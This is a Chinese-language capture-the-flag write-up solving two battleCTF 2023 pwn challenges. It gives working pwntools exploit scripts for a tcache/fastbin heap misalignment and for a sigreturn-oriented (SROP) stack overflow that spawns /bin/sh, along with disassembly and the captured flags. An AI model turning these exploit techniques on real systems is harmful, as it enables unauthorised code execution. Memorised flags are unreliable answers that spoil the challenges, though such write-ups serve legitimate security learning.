context(arch='amd64', log_level='debug')elf = ELF('./minon2')def add(msg):p.sendlineafter(b'Exit\n> ', b'1')p.sendlineafter(b'> ', b'2')p.sendafter(b'> ', msg)def free(idx):p.sendlineafter(b'Exit\n> ', b'2')p.sendlineafter(b'> ', str(idx).encode())def show(idx):p.sendlineafter(b'Exit\n> ', b'3')p.sendlineafter(b'> ', str(idx).encode())for i in range(4):add(b'A')for i in range(4):free(i)
#释放7块后tcache填满,第8块放入fastbin,再次建块时从tcache取块,使管理块和数据块错位
add(p64(elf.plt['system'])+b'/bin/sh\x00'+p8(0x28))#gdb.attach(p)
#pause()show(2)p.interactive()
#battleCTF{Awhouangan_Heap_demilitarized_0d9d6b908d9825db10311ac0303b4fa0}
0xf
这题恰好前边的比较出现了两次。
这里有溢出,PIE也没开,但是没pop无法传参
int __cdecl main(int argc, const char **argv, const char **envp)
{char v4[48]; // [rsp+0h] [rbp-30h] BYREFputs("Africa battle CTF 2023");puts("Tell us about your ethnicity:");gets(v4, argv);return 0;
}
但这里有好几个gadget
.text:0000000000401136 public hausa
.text:0000000000401136 hausa proc near
.text:0000000000401136 ; __unwind {
.text:0000000000401136 55 push rbp
.text:0000000000401137 48 89 E5 mov rbp, rsp
.text:000000000040113A B8 0F 00 00 00 mov eax, 0Fh
.text:000000000040113F C3 retn
.text:000000000040113F
.text:000000000040113F hausa endp ; sp-analysis failed
.text:000000000040113F
.text:0000000000401140 ; ---------------------------------------------------------------------------
.text:0000000000401140 0F 05 syscall ; LINUX -
.text:0000000000401142 C3 retn
.text:0000000000401142
.text:0000000000401142 ; ---------------------------------------------------------------------------
.text:0000000000401143 90 align 4
.text:0000000000401144 5D pop rbp
.text:0000000000401145 C3 retn
.text:0000000000401145 ; } // starts at 401136
可以得到rax=15,还有syscall;ret正好用srop
from pwn import *p = remote('chall.battlectf.online', 1009)
#p = process('./0xf')
context(arch='amd64', log_level='debug')#gdb.attach(p, "b*0x401182\nc")rax_15 = 0x40113a
syscall_ret = 0x401140
bin_sh = 0x402004
ret = 0x401142 frame=SigreturnFrame() #pwntools集成的srop工具
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_retpay = b'A'*0x30 + flat(0x404800, rax_15, syscall_ret, frame)
p.sendlineafter(b':\n', pay)p.interactive()
#battleCTF{Ethnicity_SigROP_Syscall_Army_f0d9e29e9c1d03c996083bb9c3325d33}
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
